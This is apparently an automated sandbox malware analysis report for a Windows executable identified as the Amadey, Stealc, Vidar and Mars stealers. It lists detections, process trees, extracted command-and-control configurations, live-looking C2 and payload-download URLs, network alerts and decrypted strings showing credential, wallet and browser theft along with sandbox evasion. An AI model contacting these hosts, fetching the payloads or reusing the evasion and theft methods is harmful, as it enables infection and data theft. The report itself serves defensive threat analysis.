Edit tour

Windows Analysis Report
Rnteb46TuM.exe

Overview

General Information

Sample name:	Rnteb46TuM.exe renamed because original name is a hash value
Original sample name:	9c1c20db1d73c66795b9b49f39aff02d621dd06c05d7d3ea1007ac7bcbf3f3cd.exe
Analysis ID:	1465032
MD5:	b3badd1cd2cba4f587bd6737d34d3569
SHA1:	bc229f10399c3482df1faa98bf7074a4440e82a5
SHA256:	9c1c20db1d73c66795b9b49f39aff02d621dd06c05d7d3ea1007ac7bcbf3f3cd
Infos:

Detection

Amadey, Mars Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Amadeys stealer DLL

Yara detected Mars stealer

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

PE file has nameless sections

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Rnteb46TuM.exe (PID: 6408 cmdline: "C:\Users\user\Desktop\Rnteb46TuM.exe" MD5: B3BADD1CD2CBA4F587BD6737D34D3569)

cmd.exe (PID: 3508 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AFBFHDBKJE.exe (PID: 2016 cmdline: "C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe" MD5: A7323BCF0DF71286FA3156CEFB8E3049)

explorti.exe (PID: 7104 cmdline: "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe" MD5: A7323BCF0DF71286FA3156CEFB8E3049)

6e6e496542.exe (PID: 6448 cmdline: "C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe" MD5: B20D1E84EE4932C0D7A1D271A2C68436)

cmd.exe (PID: 3792 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\GCGHCBKFCF.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6764 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

explorti.exe (PID: 5112 cmdline: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: A7323BCF0DF71286FA3156CEFB8E3049)

explorti.exe (PID: 6252 cmdline: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: A7323BCF0DF71286FA3156CEFB8E3049)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://85.28.47.4/920475a59bac849d.php"}

Threatname: Vidar

{"C2 url": "http://85.28.47.4/920475a59bac849d.php"}

Threatname: Amadey

{"C2 url": ["http://77.91.77.82/Hun4Ko/index.php"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000F.00000002.3033347439.0000000000F11000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000002.2400424009.0000000000F11000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2295449194.0000000000501000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2295449194.0000000000501000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000008.00000002.2352102436.00000000000F1000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000003.2992298681.0000000004D20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000003.2311882782.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000003.2345493680.00000000056F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000002.2417828325.0000000001715000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000002.2416642437.0000000000411000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000C.00000002.2416642437.0000000000411000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000000.00000002.2299175818.0000000001A05000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2295449194.00000000005A6000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2359971482.00000000055A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000002.3337643096.0000000000F11000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: Rnteb46TuM.exe PID: 6408	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: Rnteb46TuM.exe PID: 6408	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Rnteb46TuM.exe PID: 6408	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 6e6e496542.exe PID: 6448	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 14 entries

Unpacked PEs

Source	Rule	Description	Author
15.2.explorti.exe.f10000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
8.2.AFBFHDBKJE.exe.f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
11.2.explorti.exe.f10000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
10.2.explorti.exe.f10000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.Rnteb46TuM.exe.500000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.Rnteb46TuM.exe.500000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
12.2.6e6e496542.exe.410000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
12.2.6e6e496542.exe.410000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
Click to see the 3 entries

Snort Signatures

ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 85.28.47.4 - Destination IP: 192.168.2.6

Timestamp:	07/01/24-07:20:34.832084
SID:	2051831
Source Port:	80
Destination Port:	49711
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.6 - Destination IP: 77.91.77.82

Timestamp:	07/01/24-07:21:03.752509
SID:	2044696
Source Port:	49728
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Amadey CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 77.91.77.82

Timestamp:	07/01/24-07:20:59.307748
SID:	2856147
Source Port:	49725
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Amadey CnC Response M1 - Source IP: 77.91.77.82 - Destination IP: 192.168.2.6

Timestamp:	07/01/24-07:21:00.214481
SID:	2856122
Source Port:	80
Destination Port:	49725
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.6 - Destination IP: 85.28.47.4

Timestamp:	07/01/24-07:20:34.649694
SID:	2044246
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.6 - Destination IP: 85.28.47.4

Timestamp:	07/01/24-07:20:33.729490
SID:	2044243
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.6 - Destination IP: 85.28.47.4

Timestamp:	07/01/24-07:20:34.392175
SID:	2044244
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 - Source IP: 85.28.47.4 - Destination IP: 192.168.2.6

Timestamp:	07/01/24-07:20:34.579667
SID:	2051828
Source Port:	80
Destination Port:	49711
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.6 - Destination IP: 85.28.47.4

Timestamp:	07/01/24-07:21:03.765412
SID:	2044243
Source Port:	49729
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Rnteb46TuM.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://85.28.47.4/	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/cost/go.exe	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/mine/amadka.exe	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/vcruntime140.dllm	Avira URL Cloud: Label: malware
Source: http://77.91.77.82/Hun4Ko/index.php	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/nss3.dllBn	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/nss3.dllb	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/mozglue.dllV	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/y	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/mozglue.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/nss3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/mine/amadka.exe-Disposition:	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/mine/amadka.exe00	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/stealc/random.exeurlencoded	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/freebl3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.php	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/stealc/random.exe5067	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/stealc/random.exe	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/sqlite3.dll	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/cost/go.exe00	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/920475a59bac849d.phpZ	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/msvcp140.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/softokn3.dllh	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.phps	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.phpu	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/mine/amadka.exeFr	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/6	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/stealc/random.exeX	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/stealc/random.exeS	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/920475a59bac849d.phpft	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/cost/go.exeAppData	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\amadka[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 0000000C.00000002.2417828325.0000000001715000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://85.28.47.4/920475a59bac849d.php"}
Source: 12.2.6e6e496542.exe.410000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://85.28.47.4/920475a59bac849d.php"}
Source: explorti.exe.7104.10.memstrmin	Malware Configuration Extractor: Amadey {"C2 url": ["http://77.91.77.82/Hun4Ko/index.php"]}

Multi AV Scanner detection for domain / URL

Source: http://77.91.77.81/mine/amadka.exe	Virustotal: Detection: 27%	Perma Link
Source: http://85.28.47.4/	Virustotal: Detection: 16%	Perma Link
Source: http://77.91.77.81/cost/go.exe	Virustotal: Detection: 27%	Perma Link
Source: http://77.91.77.82/Hun4Ko/index.php	Virustotal: Detection: 24%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/mozglue.dllV	Virustotal: Detection: 17%	Perma Link
Source: http://77.91.77.82/Hun4Ko/index.php-	Virustotal: Detection: 21%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/softokn3.dll	Virustotal: Detection: 6%	Perma Link
Source: http://77.91.77.82/Hun4Ko/index.phpV	Virustotal: Detection: 22%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	Virustotal: Detection: 7%	Perma Link
Source: http://77.91.77.81/mine/amadka.exe-Disposition:	Virustotal: Detection: 25%	Perma Link
Source: http://77.91.77.82/Hun4Ko/index.php=	Virustotal: Detection: 21%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/nss3.dll	Virustotal: Detection: 9%	Perma Link
Source: http://77.91.77.82/Hun4Ko/index.php5	Virustotal: Detection: 21%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/mozglue.dll	Virustotal: Detection: 7%	Perma Link
Source: http://77.91.77.82/	Virustotal: Detection: 22%	Perma Link
Source: http://77.91.77.81/mine/amadka.exe00	Virustotal: Detection: 25%	Perma Link
Source: http://77.91.77.81/stealc/random.exeurlencoded	Virustotal: Detection: 24%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/freebl3.dll	Virustotal: Detection: 6%	Perma Link
Source: http://85.28.47.4/920475a59bac849d.php	Virustotal: Detection: 22%	Perma Link
Source: http://77.91.77.81/stealc/random.exe	Virustotal: Detection: 27%	Perma Link
Source: http://85.28.47.4/69934896f997d5bb/sqlite3.dll	Virustotal: Detection: 23%	Perma Link

Multi AV Scanner detection for submitted file

Source: Rnteb46TuM.exe	Virustotal: Detection: 82%			Perma Link
Source: Rnteb46TuM.exe	ReversingLabs: Detection: 91%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\amadka[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Rnteb46TuM.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: GetProcAddress
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: LoadLibraryA
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: lstrcatA
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: OpenEventA
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: CreateEventA
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: CloseHandle
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: Sleep
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: VirtualFree
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: GetSystemInfo
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: VirtualAlloc
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: HeapAlloc
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: GetComputerNameA
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: lstrcpyA
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: GetProcessHeap
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: GetCurrentProcess
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: lstrlenA
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: ExitProcess
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: GetSystemTime
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: advapi32.dll
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: gdi32.dll
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: user32.dll
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: crypt32.dll
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: ntdll.dll
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: GetUserNameA
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: CreateDCA
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: GetDeviceCaps
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: ReleaseDC
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: sscanf
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: VMwareVMware
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: HAL9TH
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: JohnDoe
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: DISPLAY
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: http://85.28.47.4
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: /920475a59bac849d.php
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: /69934896f997d5bb/
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: default
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: GetFileAttributesA
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: GlobalLock
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: HeapFree
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: GetFileSize
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: GlobalSize
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: IsWow64Process
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: Process32Next
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: GetLocalTime
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: FreeLibrary
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: GetVolumeInformationA
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: Process32First
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: GetLocaleInfoA
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: GetModuleFileNameA
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: DeleteFileA
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: FindNextFileA
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: LocalFree
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: FindClose
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: LocalAlloc
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: GetFileSizeEx
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: ReadFile
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: SetFilePointer
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: WriteFile
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: CreateFileA
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: FindFirstFileA
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: CopyFileA
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: VirtualProtect
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: GetLastError
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: lstrcpynA
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: MultiByteToWideChar
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: GlobalFree
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: WideCharToMultiByte
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: GlobalAlloc
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: OpenProcess
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: TerminateProcess
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: GetCurrentProcessId
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: gdiplus.dll
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: ole32.dll
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: bcrypt.dll
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: wininet.dll
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: shlwapi.dll
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: shell32.dll
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: psapi.dll
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: rstrtmgr.dll
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: SelectObject
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: BitBlt
Source: 12.2.6e6e496542.exe.410000.0.unpack	String decryptor: DeleteObject

Source: C:\Users\user\Desktop\Rnteb46TuM.exe

